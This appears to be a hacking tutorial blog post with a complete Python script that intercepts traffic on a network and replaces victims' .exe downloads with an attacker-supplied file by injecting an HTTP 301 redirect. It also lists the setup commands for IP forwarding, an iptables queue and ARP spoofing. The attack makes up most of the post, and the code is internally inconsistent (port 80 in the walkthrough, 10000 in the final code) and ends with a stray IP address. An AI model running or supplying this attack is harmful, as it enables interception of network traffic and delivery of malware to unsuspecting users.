Replacing downloads on the network

I am going to create a script which allows me to modify downloads on the network. As usual, to achieve this I am going to use scapy and netfilterqueue. This script very similar to dns_spoofer, except we are going to work with Raw layer. I am going to reuse code from dns_spoofer

Let’s start from packages import and get_arguments function this should be already familiar because I am using it in every scapy script.

import netfilterqueue
import scapy.all as scapy
import argparse


def get_arguments():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", dest="url",
                        help="url to exe file")
    options = parser.parse_args()
    return options

And now I can start implementing a function for packet processing. The workflow will be the same as with dns_spoofer, check if specific layer exists, if exist modify this layer, and sent a new packet to our target.

def replace_file(packet):
    options = get_arguments()
    http_packet = scapy.IP(packet.get_payload())

Options variable going to store command line parameters, and http_packet will contain netfilterqueue packet converted to the scapy packet. This will make packet modification easier. 

Next, I am going to check if TCP layer of scapy contains dport(destination port) with value 80. Destination port 80 means that HTTP request is sent. Current script not going to work with HTTPs protocol.

And if this is an HTTP request contains “.exe” in Raw layer I am going to add ack into ack_list. This needed for TCP handshake.

In order to finish TCP handshake script need to store ack from HTTP request and compare it with seq in HTTP response.

Create an empty list which going to store ack.

ack_list = []

A three-way handshake is a method used in a TCP/IP network to create a connection between a local host/client and server. It is a three-step method that requires both the client and server to exchange SYN and ACK (acknowledgment) packets before actual data communication begins.

A three-way handshake is also known as a TCP handshake.

if http_packet[scapy.TCP].dport == 80:
    if ".exe" in http_packet[scapy.Raw].load:
        ack_list.append(http_packet[scapy.TCP].ack)

Example of the packet which I am going to modify.

###[ IP ]### 
  version   = 4
  ihl       = 5
  tos       = 0x0
  len       = 374
  id        = 27278
  flags     = DF
  frag      = 0
  ttl       = 127
  proto     = tcp
  chksum    = 0x9433
  src       = 10.0.2.4
  dst       = 45.79.194.109
  \options   \
###[ TCP ]### 
     sport     = 50469
     dport     = http
     seq       = 2653030712
     ack       = 31854963
     dataofs   = 5
     reserved  = 0
     flags     = PA
     window    = 65535
     chksum    = 0xb504
     urgptr    = 0
     options   = []
###[ Raw ]### 
        load      = 'GET /en/disk-defrag/disk-defrag-setup.exe HTTP/1.1\r\nAccept: text/html, application/xhtml+xml, image/jxr, */*\r\nReferer: http://samlab.ws/\r\nAccept-Language: en-US\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko\r\nAccept-Encoding: gzip, deflate\r\nHost: downloads.auslogics.com\r\nConnection: Keep-Alive\r\n\r\n'

In order to replace the original file with my hack, I need to modify a few fields from the packet. First what I am going to replace is load. The original load will be modified with a redirect to a hacked file. Also, chksum and len will be removed and recalculated otherwise target will know that the packet was changed.

Next, I am going to check if sport(source port) is equal to 80. If yes this means that this is HTTP response. And I am going to finish TCP handshake by verifying in seq equal to value form ack_list. If yes this value needs to be removed form ack_list to prevent use it next request. 

And fields seq and ack will be used to finish TCP handshake.

elif http_packet[scapy.TCP].sport == 80:
    if http_packet[scapy.TCP].seq in ack_list:
        ack_list.remove(http_packet[scapy.TCP].seq)

And finally, a function for packet modification will be assigned to variable hacked_packet. This function will be implemented soon. As last step original packet will be replaced with a new one and sent to the target.

            hacked_packet = change_payload(http_packet, options.url)
            packet.set_payload(str(hacked_packet))
packet.accept()

Change_payload function going to replace in Raw layer load field with a redirect, remove chksum and len and return modified packet.

def change_payload(packet, url):
    packet[scapy.Raw].load = """HTTP/1.1 301 Moved Permanently
                                Location: {}\n""".format(url)
    del packet[scapy.IP].len
    del packet[scapy.IP].chksum
    del packet[scapy.TCP].chksum
    return packet

As a final step netfilterqueue object need to be created. And iptables queue needs to be bound to python function.

queue = netfilterqueue.NetfilterQueue()
queue.bind(0, replace_file)
queue.run()

As usually before executing packet forwarding need to be enabled, iptables queue created and arp spoofing started.

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -I FORWARD -j NFQUEUE --queue-num 0
python arp_spoofing.py -t target_ip -g gateway_ip
python file_interceptor.py -u url_with_file

Full code:

import netfilterqueue
import scapy.all as scapy
import argparse
from urlparse import urlparse

ack_list = []


def get_arguments():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", dest="url",
                        help="url to exe file")
    options = parser.parse_args()
    return options


def change_payload(packet, url):
    packet[scapy.Raw].load = """HTTP/1.1 301 Moved Permanently
                             Location: {}\n""".format(url)
    del packet[scapy.IP].len
    del packet[scapy.IP].chksum
    del packet[scapy.TCP].chksum
    return packet


def replace_file(packet):
    options = get_arguments()
    parsed_url = urlparse(options.url)
    http_packet = scapy.IP(packet.get_payload())
    if http_packet.haslayer(scapy.Raw):
        if http_packet[scapy.TCP].dport == 10000:
            if ".exe" in http_packet[scapy.Raw].load and \
               parsed_url.netloc not in http_packet[scapy.Raw].load:
                print("[+] exe requested")
                ack_list.append(http_packet[scapy.TCP].ack)
        elif http_packet[scapy.TCP].sport == 10000:
            if http_packet[scapy.TCP].seq in ack_list:
                ack_list.remove(http_packet[scapy.TCP].seq)
                print("Replacing file")
                hacked_packet = change_payload(http_packet, options.url)
                packet.set_payload(str(hacked_packet))
    packet.accept()


queue = netfilterqueue.NetfilterQueue()
queue.bind(0, replace_file)
queue.run()
151.101.112.133